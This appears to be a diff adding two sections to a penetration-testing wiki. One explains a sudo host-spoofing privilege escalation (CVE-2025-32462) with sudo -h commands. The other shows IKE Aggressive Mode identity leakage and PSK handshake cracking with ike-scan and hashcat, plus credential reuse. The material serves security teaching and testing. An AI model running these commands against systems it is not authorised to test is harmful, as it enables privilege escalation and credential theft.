+### Sudo host-based rules bypass (CVE-2025-32462)
+
+Sudo before 1.9.17p1 (reported affected range: **1.8.8–1.9.17**) can evaluate host-based sudoers rules using the **user-supplied hostname** from `sudo -h <host>` instead of the **real hostname**. If sudoers grants broader privileges on another host, you can **spoof** that host locally.
+
+Requirements:
+- Vulnerable sudo version
+- Host-specific sudoers rules (host is neither the current hostname nor `ALL`)
+
+Example sudoers pattern:
+
+```
+Host_Alias     SERVERS = devbox, prodbox
+Host_Alias     PROD    = prodbox
+alice          SERVERS, !PROD = NOPASSWD:ALL
+```
+
+Exploit by spoofing the allowed host:
+
+```bash
+sudo -h devbox id
+sudo -h devbox -i
+```
+
+If resolution of the spoofed name blocks, add it to `/etc/hosts` or use a hostname that already appears in logs/configs to avoid DNS lookups.

+### Aggressive Mode identity leakage
+
+Aggressive Mode must send the **ID** early so the gateway can pick the right PSK when **multiple groups/users** exist. This means the **identity is exposed pre-auth**, unlike Main Mode where it is encrypted in later packets. You can extract it quickly:
+
+```bash
+ike-scan -A <IP>
+# Look for: ID(Type=ID_USER_FQDN, Value=ike@corp.tld)
+```
+
+If Aggressive Mode is enabled, capture a crackable PSK handshake and crack it offline (hashcat mode `5400`):
+
+```bash
+ike-scan -A --pskcrack=handshake.txt <IP>
+hashcat -m 5400 handshake.txt /path/to/wordlist.txt
+```
+
+Recovered PSKs are often **reused** as credentials for other services (SSH, VPN client auth), so test them against exposed services.
+
 ## Capturing & cracking the hash
 
 Finally, If you have found a **valid transformation** and the **group name** and if the **aggressive mode is allowed**, then you can very easily grab the crackable hash:
